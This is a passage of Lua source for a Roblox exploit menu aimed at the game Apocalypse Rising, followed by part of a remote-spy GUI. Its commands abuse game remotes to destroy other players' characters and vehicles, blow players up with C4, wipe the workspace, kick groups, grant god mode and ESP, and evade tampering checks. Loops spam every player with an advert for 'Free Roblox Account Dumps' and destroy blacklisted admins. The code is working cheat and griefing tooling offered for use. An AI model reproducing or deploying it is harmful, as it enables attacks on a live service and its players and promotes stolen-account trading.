_G.Destruct(v.Character["Left Leg"]); _G.Destruct(v.Character["Right Arm"]); _G.Destruct(v.Character["Right Leg"]); end) end end) addcmd(2, "Repair Car", {}, function() local veh = getVehicle(); local stats = veh.Stats; _G.ChangeValue(stats.Hull,450); _G.ChangeValue(stats.Engine, 100); _G.ChangeValue(stats.Tank, 100); _G.ChangeValue(stats.Fuel,stats.Fuel.Max.Value); end) addcmd(2, "Super Car", {{"Speed", "Number"}}, function(speed) local veh = getVehicle(); local stats = veh.Stats; _G.ChangeValue(stats.Fuel.Max,1000000); _G.ChangeValue(stats.Fuel, 1000000); _G.ChangeValue(stats.MaxSpeed, tonumber(speed)); _G.ChangeValue(stats.MaxSpeed.Offroad,tonumber(speed)); end) addcmd(4, "InvisC4s", {}, function() invc4 = not invc4; end) addcmd(4, "SpamC4", {}, function() local index = 0; local function s(o) for i,v in next, o:GetChildren() do if v:IsA("BasePart") then index = index + 1; spawn(function() placec4(v.Position) end) coroutine.yield(); end if v.Name ~= "C4Placed" then s(v); end end end s(workspace["Anchored Objects"]); end) addcmd(2, "Spawn Car", {}, function() local veh = getVehicle(true); local tp = player.Character.Torso.Position; local vp = veh.PrimaryPart.Position; local np = tp-vp + Vector3.new(20, 0, 0); fireRemote('PlaceMaterial',veh,np); local x = workspace:WaitForChild(veh.Name); _G.ChangeParent(x,workspace.Vehicles); end) addcmd(1, "Explode", {{"Target","Player name"}}, function(target) for i,v in next, getPlayer(target, true) do spawn(function() placec4(v.Character.Torso.Position, true); end); end end) addcmd(3, "Spawn", {{"Target","me"},{"ItemId", "Number"}}, function(target,id) for i,v in next, getPlayer(target) do spawnx(v,id); end end) addcmd(1, "View", {{"Target","Player name"}}, function(target) target = getPlayer(target)[1]; workspace.CurrentCamera.CameraSubject = target.Character.Humanoid; end) addcmd(3, "Kit", {{"Target","Me"}, {"KitName","fal"}}, function(target, kit) kit = kit:lower(); for i,v in next, getPlayer(target) do spawn(function() if kit == "fal" then spawnx(v,1029,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,64); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "g36k" then spawnx(v,1023,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,53); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9009,v.playerstats.attachments.primary.silencer) elseif kit == "m4a1" then spawnx(v,1004,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,53); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9009,v.playerstats.attachments.primary.silencer) elseif kit == "scar-l" then spawnx(v,1022,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,53); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9009,v.playerstats.attachments.primary.silencer) elseif kit == "mk17" then spawnx(v,1031,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,64); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "m14" then spawnx(v,1016,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,64); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "akm" then spawnx(v,1038,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,50); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "rpk" then spawnx(v,1034,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,50); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "ots" then spawnx(v,1036,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,50); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "ak104" then spawnx(v,1037,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,50); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "ak12" then spawnx(v,1035,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,50); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "ak47" then spawnx(v,1003,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,50); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "ak74" then spawnx(v,1039,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,67); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9011,v.playerstats.attachments.primary.silencer) elseif kit == "aks47u" then spawnx(v,1041,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,67); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9011,v.playerstats.attachments.primary.silencer) elseif kit == "an94" then spawnx(v,1041,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,67); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9011,v.playerstats.attachments.primary.silencer) elseif kit == "hk417" then spawnx(v,1033,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,64); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "g3" then spawnx(v,1030,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,64); end spawnx(v,4016,v.playerstats.slots.slotbackpack) spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9010,v.playerstats.attachments.primary.silencer) elseif kit == "patriot" then spawnx(v,1021,v.playerstats.slots.slotprimary); for i = 1,6 do wait(1); spawnx(v,53); end spawnx(v,4016,v.playerstats.slots.slotbackpack); spawnx(v,9013,v.playerstats.attachments.primary.sight); spawnx(v,9005,v.playerstats.attachments.primary.under); spawnx(v,9009,v.playerstats.attachments.primary.silencer) end end) end end) addcmd(4, "Nofog", {}, function() Services.Lighting.FogEnd = 9999999; end) addcmd(1, "Inf Vitals", {{"Target", "me"}}, function(target) for i,v in next, getPlayer(target) do Vitals[v] = not Vitals[v]; _G.ChangeValue(v.playerstats.Hunger,math.huge); _G.ChangeValue(v.playerstats.Thirst,math.huge); end end) addcmd(1, "JumpPower", {{"Value","Number"}}, function(num) _G.HealthSet("JumpPower", tonumber(num)); end) addcmd(4, "C4 Walk", {}, function() c4 = not c4; end) addcmd(4, "Zoomout", {} ,function() Player.PlayerGui.CameraZoom:Destroy() end) addcmd(4, "No-recoil", {}, function() local prim = player.playerstats.slots.slotprimary.ObjectID.Value local primid = _G.Deobfuscate(prim) local itemname = ItemCodes[primid] player.Backpack[itemname].Stats.Recoil.Value = "aaaaaaaaaA" end) addcmd(4, "clearworkspace", {}, function() for i,v in next, workspace:GetChildren() do pcall(_G.Destruct,v); end end) addcmd(1, "Change stats", {{"Target", "me"},{"Days", "Number"},{"Kills","Number"},{"ZKills","Number"}}, function(target, days, kills, zkills) days, kills, zkills = tonumber(days), tonumber(kills), tonumber(zkills); for i,v in next, getPlayer(target) do local stats = v.playerstats; _G.ChangeValue(stats.Days,days or stats.Days.Value); _G.ChangeValue(stats.ZombieKill.Civilian,zkills or stats.ZombieKill.Civilian.Value); _G.ChangeValue(stats.PlayerKill.Defensive,kills or stats.PlayerKill.Defensive.Value); end end) addcmd(4, "ESP", {}, function() esp = not esp; end) addcmd(1, "WalkSpeed", {{"Speed", "23"}}, function(speed) local speed = tonumber(speed); Player.Character.Humanoid.WalkSpeed = speed > 23 and 23 or speed; end) addcmd(2, "Destroy vehicles", {}, function() for i,v in next, workspace.Vehicles:GetChildren() do if v:FindFirstChild("Stats") then _G.ChangeValue(v.Stats.Engine, 0); end end end) addcmd(4, "Destroy Groups", {}, function() for i,v in next, game.Lighting.Groups:GetChildren() do if v:IsA("IntValue") then _G.Events.GroupKick:FireServer(v,Services.Players:FindFirstChild(v.member1.Value)); end end end) --- --- -- Misc -- loop(function() GuiData.Container.Footer.page.Text = Messages[math.random(#Messages)]; end, 7); loop(function() if Noclip then pcall(function() Player.Character:FindFirstChildOfClass('Humanoid'):ChangeState(11); -- 11 = StrafingNoPhysics end) end; end) loop(function() if not Arnex_Gui or Arnex_Gui.Parent ~= Services.CoreGui then for i,v in pairs(Loops) do suspendLoop(i); end; dump({ type = 'Tampering', newLoc = Arnex_Gui:GetFullName(), expectedLoc = Services.CoreGui:GetFullName(), }) exit(); end; end) loop(function() if Stamina then Player.Backpack.GlobalFunctions.Stamina.Value = 100; end end) loop(function() if invc4 then for i,v in next, workspace:GetChildren() do if v.Name == "C4Placed" and not v:FindFirstChild("invised") then Instance.new("BoolValue",v).Name = "invised"; recInvis(v); end end end end) loop(function() Player.CameraMaxZoomDistance = 400 end) loop(function() if c4 then makeC4(); end end,.5) loop(function() for i,v in next, game.Players:GetPlayers() do fireRemote('sendMessage',v,"Green","Join our Discord for Apocalypse Rising Exploits and Free Roblox Account Dumps! discord.gg/7SzPNUx"); end end,900) loop(function() for i,v in next, _G do if type(v) == "function" then getfenv(v).setfenv = function(a) return a end; getfenv(v).getfenv = function() return {} end; end end end,.5) loop(function() local guis = {}; for i,v in next, player.PlayerGui:GetChildren() do if v.Name:match("ESP") then guis[#guis+1] = v; end end if esp then for i,v in next, player.PlayerGui:GetChildren() do if v.Name:match("^ESP") then v:Destroy(); end end for i,v in next, Services.Players:GetPlayers() do if v.Character and v.Character:FindFirstChild("Head") and v.Character:FindFirstChild("Humanoid") and v ~= player and not player.PlayerGui:FindFirstChild("ESP"..v.Name) then local head = v.Character.Head; local hum = v.Character.Humanoid; local new = EspData.BG:Clone(); new.Parent = player.PlayerGui; new.Adornee = head; new.Name = "ESP"..v.Name; local nametag = Instance.new("TextLabel", new.TextLabel); nametag.BackgroundTransparency = 1; nametag.TextColor3 = Color3.new(1,1,1); nametag.TextStrokeTransparency = 0; nametag.TextSize = 8; nametag.Name = "Nametag"; nametag.TextTransparency = .5; new.TextLabel.TextTransparency = .5; nametag.Size = UDim2.new(1,0,1,0); nametag.Position = UDim2.new(0,0,-.9,0); nametag.Text = v.Name; local signal = new.Adornee.Parent:GetPropertyChangedSignal("Parent"); signal:connect(function() if not new.Adornee or not new.Adornee:IsDescendantOf(workspace) then new:Destroy(); end end) guis[#guis+1] = new; end end for i,v in next, workspace.Vehicles:GetChildren() do if v.Name ~= "Bicycle" and v.PrimaryPart and not findVehicle(v) then local base = v.PrimaryPart; local new = EspData.BG:Clone(); new.Parent = player.PlayerGui; new.Adornee = base; new.Name = "ESPV"; new.TextLabel.TextColor3 = Color3.new(1,0,0); local signal = v:GetPropertyChangedSignal("Parent"); signal:connect(function() if not new.Adornee:IsDescendantOf(workspace) then new:Destroy(); end end) guis[#guis+1] = new; end end --update all guis for i,v in next, guis do v.Enabled = true; if v.Adornee and v.Adornee.Parent and player.Character and player.Character:FindFirstChild("Head") and v:FindFirstChild("TextLabel") then local dist = (v.Adornee.Position-player.Character.Head.Position).magnitude; v.TextLabel.Text = tostring(math.floor(dist)); end end else for i,v in next, guis do v.Enabled = false; end end end,.1) loop(function() for i,v in next, God do if v then pcall(function() _G.AddDamage(i.Character.Humanoid,-100); end) end end for i,v in next, Vitals do if v then pcall(function() _G.ChangeValue(i.playerstats.Hunger,100); _G.ChangeValue(i.playerstats.Thirst,100); end) end end end) loop(function() if nolog then pcall(function() _G.ChangeValue(player.playerstats.combat, false); end) end for i,v in next, Services.Players:GetPlayers() do if Noobs[v.Name] then spawn(function() fireRemote('SendMessage', v, "Yellow", "You are blacklisted by ARNEX, for either being an Admin, being in a good relation with admins or a toxic fvxck."); wait(.3); _G.Destruct(v); end) end end if invc4 then for i,v in next, workspace:GetChildren() do if v.Name == "C4Placed" and not v:FindFirstChild("invised") then Instance.new("BoolValue",v).Name = "invised"; recInvis(v); end end end end) print'Commands success'; --- --- -- Master loop -- spawn(function() while coroutine.yield() do for func,data in pairs(Loops) do local func,data = func,data; if not data.exec then spawn(function() data.exec = true; if data.del ~= 0 then wait(data.del) end; func(func); data.exec = false; end); end; end; end; end) print'Loop success'; end) Remote.Name = "Remote" Remote.Parent = script2 Remote.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) Remote.BorderSizePixel = 0 Remote.Position = UDim2.new(0.715736032, 0, 0.497663587, 0) Remote.Size = UDim2.new(0, 200, 0, 50) Remote.Font = Enum.Font.SourceSans Remote.Text = "R2V3" Remote.TextSize = 40 Remote.MouseButton1Down:connect(function() -- FrontEnd // UI -- Objects local RemoteSpy = Instance.new("ScreenGui") local BG = Instance.new("Frame") local Ribbon = Instance.new("ImageLabel") local Hide = Instance.new("TextButton") local Title = Instance.new("TextLabel") local Remotes = Instance.new("ScrollingFrame") local Source = Instance.new("ScrollingFrame") local ButtonsFrame = Instance.new("ScrollingFrame") local ToClipboard = Instance.new("TextButton") local Decompile = Instance.new("TextButton") local GetReturn = Instance.new("TextButton") local ClearList = Instance.new("TextButton") local CryptStrings = Instance.new("TextButton") local EnableSpy = Instance.new("TextButton") local Last = Instance.new("TextLabel") local Total = Instance.new("TextLabel") local Settings = Instance.new("TextButton") local SetRemotes = Instance.new("ScrollingFrame") local Storage = Instance.new("Frame") local RBTN = Instance.new("TextButton") local Icon = Instance.new("ImageLabel") local RemoteName = Instance.new("TextLabel") local ID = Instance.new("TextLabel") local SBTN = Instance.new("TextButton") local Icon_2 = Instance.new("ImageLabel") local RemoteName_2 = Instance.new("TextLabel") local ScriptLine = Instance.new("Frame") local Line = Instance.new("TextLabel") local SourceText = Instance.new("TextLabel") local Tokens = Instance.new("TextLabel") local Strings = Instance.new("TextLabel") local Comments = Instance.new("TextLabel") local Keywords = Instance.new("TextLabel") local Globals = Instance.new("TextLabel") local RemoteHighlight = Instance.new("TextLabel") local Enabled = Instance.new("TextLabel") local FullScreen = Instance.new("TextButton") local SetRemotesTab = Instance.new("Frame") local FilterF = Instance.new("TextButton") local FilterE = Instance.new("TextButton") local Search = Instance.new("TextBox") local lvl6Frame = Instance.new("Frame") local lvl6Output = Instance.new("ScrollingFrame") local lvl6Source = Instance.new("ScrollingFrame") local Source_ = Instance.new("TextBox") local Comments_ = Instance.new("TextLabel") local Globals_ = Instance.new("TextLabel") local Keywords_ = Instance.new("TextLabel") local RemoteHighlight_ = Instance.new("TextLabel") local SourceText_ = Instance.new("TextLabel") local Strings_ = Instance.new("TextLabel") local Tokens_ = Instance.new("TextLabel") local ClearScript = Instance.new("TextButton") local ExecuteScript = Instance.new("TextButton") local Resize = Instance.new("TextButton") local lvl6 = Instance.new("TextButton") local ClearOutput = Instance.new("TextButton") local Label = Instance.new("TextLabel") local Lines = Instance.new("TextLabel") local remotes_fired = 0 local LoadSource = Instance.new("TextButton") local encrypt_string = false local spy_enabled = true local lua_keywords = {"and", "break", "do", "else", "elseif", "end", "false", "for", "function", "goto", "if", "in", "local", "nil", "not", "or", "repeat", "return", "then", "true", "until", "while"} local global_env = {"getrawmetatable", "game", "workspace", "script", "math", "string", "table", "print", "wait", "BrickColor", "Color3", "next", "pairs", "ipairs", "select", "unpack", "Instance", "Vector2", "Vector3", "CFrame", "Ray", "UDim2", "Enum", "assert", "error", "warn", "tick", "loadstring", "_G", "shared", "getfenv", "setfenv", "newproxy", "setmetatable", "getmetatable", "os", "debug", "pcall", "ypcall", "xpcall", "rawequal", "rawset", "rawget", "tonumber", "tostring", "type", "typeof", "_VERSION", "coroutine", "delay", "require", "spawn", "LoadLibrary", "settings", "stats", "time", "UserSettings", "version", "Axes", "ColorSequence", "Faces", "ColorSequenceKeypoint", "NumberRange", "NumberSequence", "NumberSequenceKeypoint", "gcinfo", "elapsedTime", "collectgarbage", "PhysicalProperties", "Rect", "Region3", "Region3int16", "UDim", "Vector2int16", "Vector3int16"} -- Properties RemoteSpy.Name = "RemoteSpy" RemoteSpy.Parent = game.CoreGui BG.Name = "BG" BG.Parent = RemoteSpy BG.Active = true BG.BackgroundColor3 = Color3.new(0.141176, 0.141176, 0.141176) BG.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) BG.Draggable = true BG.Position = UDim2.new(0.5, -700, 0.5, -400) BG.Size = UDim2.new(1, -300, 1, -200) BG.ClipsDescendants = true Ribbon.Name = "Ribbon" Ribbon.Parent = BG Ribbon.BackgroundColor3 = Color3.new(0.760784, 0.0117647, 0.317647) Ribbon.BorderSizePixel = 0 Ribbon.Size = UDim2.new(1, 0, 0, 20) Ribbon.ZIndex = 2 Hide.Name = "Hide" Hide.Parent = Ribbon Hide.BackgroundColor3 = Color3.new(1, 0, 0) Hide.BorderSizePixel = 0 Hide.Position = UDim2.new(1, -40, 0, 0) Hide.Size = UDim2.new(0, 40, 0, 20) Hide.ZIndex = 3 Hide.Font = Enum.Font.SourceSansBold Hide.FontSize = Enum.FontSize.Size14 Hide.Text = "_" Hide.TextColor3 = Color3.new(1, 1, 1) Hide.TextSize = 14 Title.Name = "Title" Title.Parent = Ribbon Title.BackgroundColor3 = Color3.new(1, 0.0117647, 0.423529) Title.BorderSizePixel = 0 Title.Position = UDim2.new(0.5, -100, 0, 0) Title.Size = UDim2.new(0, 200, 0, 20) Title.ZIndex = 3 Title.Font = Enum.Font.SourceSansBold Title.FontSize = Enum.FontSize.Size14 Title.Text = "Remote2Script v2 R3.1" Title.TextColor3 = Color3.new(1, 1, 1) Title.TextSize = 14 Remotes.Name = "Remotes" Remotes.Parent = BG Remotes.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) Remotes.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) Remotes.Position = UDim2.new(0, 10, 0, 80) Remotes.CanvasSize = UDim2.new(0, 0, 40, 0) Remotes.Size = UDim2.new(0, 250, 1, -90) Remotes.ZIndex = 2 Remotes.BottomImage = "rbxassetid://148970562" Remotes.MidImage = "rbxassetid://148970562" Remotes.ScrollBarThickness = 5 Remotes.TopImage = "rbxassetid://148970562" Source.Name = "Source" Source.Parent = BG Source.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) Source.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) Source.Position = UDim2.new(0, 270, 0, 80) Source.Size = UDim2.new(1, -280, 1, -90) Source.ZIndex = 2 Source.BottomImage = "rbxassetid://148970562" Source.CanvasSize = UDim2.new(3, 0, 160, 0) Source.MidImage = "rbxassetid://148970562" Source.ScrollBarThickness = 5 Source.TopImage = "rbxassetid://148970562" ButtonsFrame.Name = "ButtonsFrame" ButtonsFrame.Parent = BG ButtonsFrame.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) ButtonsFrame.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) ButtonsFrame.Position = UDim2.new(0, 10, 0, 30) ButtonsFrame.Size = UDim2.new(1, -20, 0, 40) ButtonsFrame.ZIndex = 2 ButtonsFrame.ClipsDescendants = true ButtonsFrame.CanvasSize = UDim2.new(2, 0, 0, 0) ButtonsFrame.ScrollBarThickness = 5 ButtonsFrame.BottomImage = "rbxassetid://148970562" ButtonsFrame.TopImage = "rbxassetid://148970562" ButtonsFrame.MidImage = "rbxassetid://148970562" ToClipboard.Name = "ToClipboard" ToClipboard.Parent = ButtonsFrame ToClipboard.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) ToClipboard.BorderColor3 = Color3.new(0.117647, 0.392157, 0.117647) ToClipboard.Position = UDim2.new(0, 10, 0.5, -10) ToClipboard.Size = UDim2.new(0, 100, 0, 20) ToClipboard.ZIndex = 3 ToClipboard.Font = Enum.Font.SourceSansBold ToClipboard.FontSize = Enum.FontSize.Size14 ToClipboard.Text = "COPY" ToClipboard.TextColor3 = Color3.new(0.235294, 0.784314, 0.235294) ToClipboard.TextSize = 14 Decompile.Name = "Decompile" Decompile.Parent = ButtonsFrame Decompile.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) Decompile.BorderColor3 = Color3.new(0.384314, 0.384314, 0.384314) Decompile.Position = UDim2.new(0, 120, 0.5, -10) Decompile.Size = UDim2.new(0, 100, 0, 20) Decompile.ZIndex = 3 Decompile.Font = Enum.Font.SourceSansBold Decompile.FontSize = Enum.FontSize.Size14 Decompile.Text = "DECOMPILE" Decompile.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) Decompile.TextSize = 14 GetReturn.Name = "GetReturn" GetReturn.Parent = ButtonsFrame GetReturn.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) GetReturn.BorderColor3 = Color3.new(0.384314, 0.384314, 0.384314) GetReturn.Position = UDim2.new(0, 230, 0.5, -10) GetReturn.Size = UDim2.new(0, 100, 0, 20) GetReturn.ZIndex = 3 GetReturn.Font = Enum.Font.SourceSansBold GetReturn.FontSize = Enum.FontSize.Size14 GetReturn.Text = "GET RETURN" GetReturn.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) GetReturn.TextSize = 14 ClearList.Name = "ClearList" ClearList.Parent = ButtonsFrame ClearList.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) ClearList.BorderColor3 = Color3.new(0.384314, 0.384314, 0.384314) ClearList.Position = UDim2.new(0, 340, 0.5, -10) ClearList.Size = UDim2.new(0, 100, 0, 20) ClearList.ZIndex = 3 ClearList.Font = Enum.Font.SourceSansBold ClearList.FontSize = Enum.FontSize.Size14 ClearList.Text = "CLEAR LOGS" ClearList.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) ClearList.TextSize = 14 CryptStrings.Name = "CryptStrings" CryptStrings.Parent = ButtonsFrame CryptStrings.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) CryptStrings.BorderColor3 = Color3.new(0.392157, 0.117647, 0.117647) CryptStrings.Position = UDim2.new(0, 450, 0.5, -10) CryptStrings.Size = UDim2.new(0, 100, 0, 20) CryptStrings.ZIndex = 3 CryptStrings.Font = Enum.Font.SourceSansBold CryptStrings.FontSize = Enum.FontSize.Size14 CryptStrings.Text = "CRYPT STRINGS" CryptStrings.TextColor3 = Color3.new(0.784314, 0.235294, 0.235294) CryptStrings.TextSize = 14 EnableSpy.Name = "EnableSpy" EnableSpy.Parent = ButtonsFrame EnableSpy.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) EnableSpy.BorderColor3 = Color3.fromRGB(30, 100, 30) EnableSpy.Position = UDim2.new(0, 560, 0.5, -10) EnableSpy.Size = UDim2.new(0, 100, 0, 20) EnableSpy.ZIndex = 3 EnableSpy.Font = Enum.Font.SourceSansBold EnableSpy.FontSize = Enum.FontSize.Size14 EnableSpy.Text = "REMOTESPY" EnableSpy.TextColor3 = Color3.fromRGB(60, 200, 60) EnableSpy.TextSize = 14 Last.Name = "Last" Last.Parent = ButtonsFrame Last.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) Last.BorderColor3 = Color3.new(0.384314, 0.384314, 0.384314) Last.Position = UDim2.new(0, 670, 0.5, -10) Last.Size = UDim2.new(0, 200, 0, 20) Last.ZIndex = 3 Last.Font = Enum.Font.SourceSansBold Last.FontSize = Enum.FontSize.Size14 Last.Text = "" Last.TextColor3 = Color3.new(1, 1, 1) Last.TextSize = 14 Last.TextWrapped = true Total.Name = "Total" Total.Parent = ButtonsFrame Total.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) Total.BorderColor3 = Color3.new(0.384314, 0.384314, 0.384314) Total.Position = UDim2.new(0, 880, 0.5, -10) Total.Size = UDim2.new(0, 50, 0, 20) Total.ZIndex = 3 Total.Font = Enum.Font.SourceSansBold Total.FontSize = Enum.FontSize.Size14 Total.Text = "0" Total.TextColor3 = Color3.new(1, 1, 1) Total.TextSize = 14 Total.TextWrapped = true Settings.Name = "Settings" Settings.Parent = ButtonsFrame Settings.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) Settings.BorderColor3 = Color3.new(0.117647, 0.392157, 0.392157) Settings.Position = UDim2.new(1, -110, 0.5, -10) Settings.Size = UDim2.new(0, 100, 0, 20) Settings.ZIndex = 3 Settings.Font = Enum.Font.SourceSansBold Settings.FontSize = Enum.FontSize.Size14 Settings.Text = "REMOTES" Settings.TextColor3 = Color3.new(0.235294, 0.784314, 0.784314) Settings.TextSize = 14 SetRemotes.Name = "SetRemotes" SetRemotes.Parent = BG SetRemotes.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) SetRemotes.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) SetRemotes.Position = UDim2.new(0, 270, 0, 80) SetRemotes.Size = UDim2.new(1, -280, 1, -140) SetRemotes.Visible = false SetRemotes.ZIndex = 2 SetRemotes.BottomImage = "rbxassetid://148970562" SetRemotes.CanvasSize = UDim2.new(0, 0, 25, 0) SetRemotes.MidImage = "rbxassetid://148970562" SetRemotes.ScrollBarThickness = 5 SetRemotes.TopImage = "rbxassetid://148970562" Storage.Name = "Storage" Storage.Parent = RemoteSpy Storage.BackgroundColor3 = Color3.new(1, 1, 1) Storage.Size = UDim2.new(0, 100, 0, 100) Storage.Visible = false RBTN.Name = "RBTN" RBTN.Parent = Storage RBTN.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) RBTN.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) RBTN.Position = UDim2.new(0, 10, 0, 10) RBTN.Size = UDim2.new(1, -20, 0, 20) RBTN.ZIndex = 3 RBTN.Font = Enum.Font.SourceSansBold RBTN.FontSize = Enum.FontSize.Size14 RBTN.Text = "" RBTN.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) RBTN.TextSize = 14 RBTN.TextXAlignment = Enum.TextXAlignment.Left Icon.Name = "Icon" Icon.Parent = RBTN Icon.BackgroundColor3 = Color3.new(1, 1, 1) Icon.BackgroundTransparency = 1 Icon.Size = UDim2.new(0, 20, 0, 20) Icon.ZIndex = 4 Icon.Image = "rbxassetid://413369506" RemoteName.Name = "RemoteName" RemoteName.Parent = RBTN RemoteName.BackgroundColor3 = Color3.new(0.713726, 0.00392157, 0.298039) RemoteName.BorderSizePixel = 0 RemoteName.Position = UDim2.new(0, 30, 0, 0) RemoteName.Size = UDim2.new(0, 140, 0, 20) RemoteName.ZIndex = 4 RemoteName.Font = Enum.Font.SourceSansBold RemoteName.FontSize = Enum.FontSize.Size14 RemoteName.Text = "10" RemoteName.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) RemoteName.TextSize = 14 ID.Name = "ID" ID.Parent = RBTN ID.BackgroundColor3 = Color3.new(0.458824, 0.00392157, 0.192157) ID.BorderSizePixel = 0 ID.Position = UDim2.new(1, -50, 0, 0) ID.Size = UDim2.new(0, 50, 0, 20) ID.ZIndex = 4 ID.Font = Enum.Font.SourceSansBold ID.FontSize = Enum.FontSize.Size14 ID.Text = "10" ID.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) ID.TextSize = 14 SBTN.Name = "SBTN" SBTN.Parent = Storage SBTN.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) SBTN.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) SBTN.Position = UDim2.new(0, 10, 0, 10) SBTN.Size = UDim2.new(1, -20, 0, 20) SBTN.ZIndex = 3 SBTN.Font = Enum.Font.SourceSansBold SBTN.FontSize = Enum.FontSize.Size14 SBTN.Text = "" SBTN.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) SBTN.TextSize = 11 SBTN.TextXAlignment = Enum.TextXAlignment.Left Icon_2.Name = "Icon" Icon_2.Parent = SBTN Icon_2.BackgroundColor3 = Color3.new(1, 1, 1) Icon_2.BackgroundTransparency = 1 Icon_2.Size 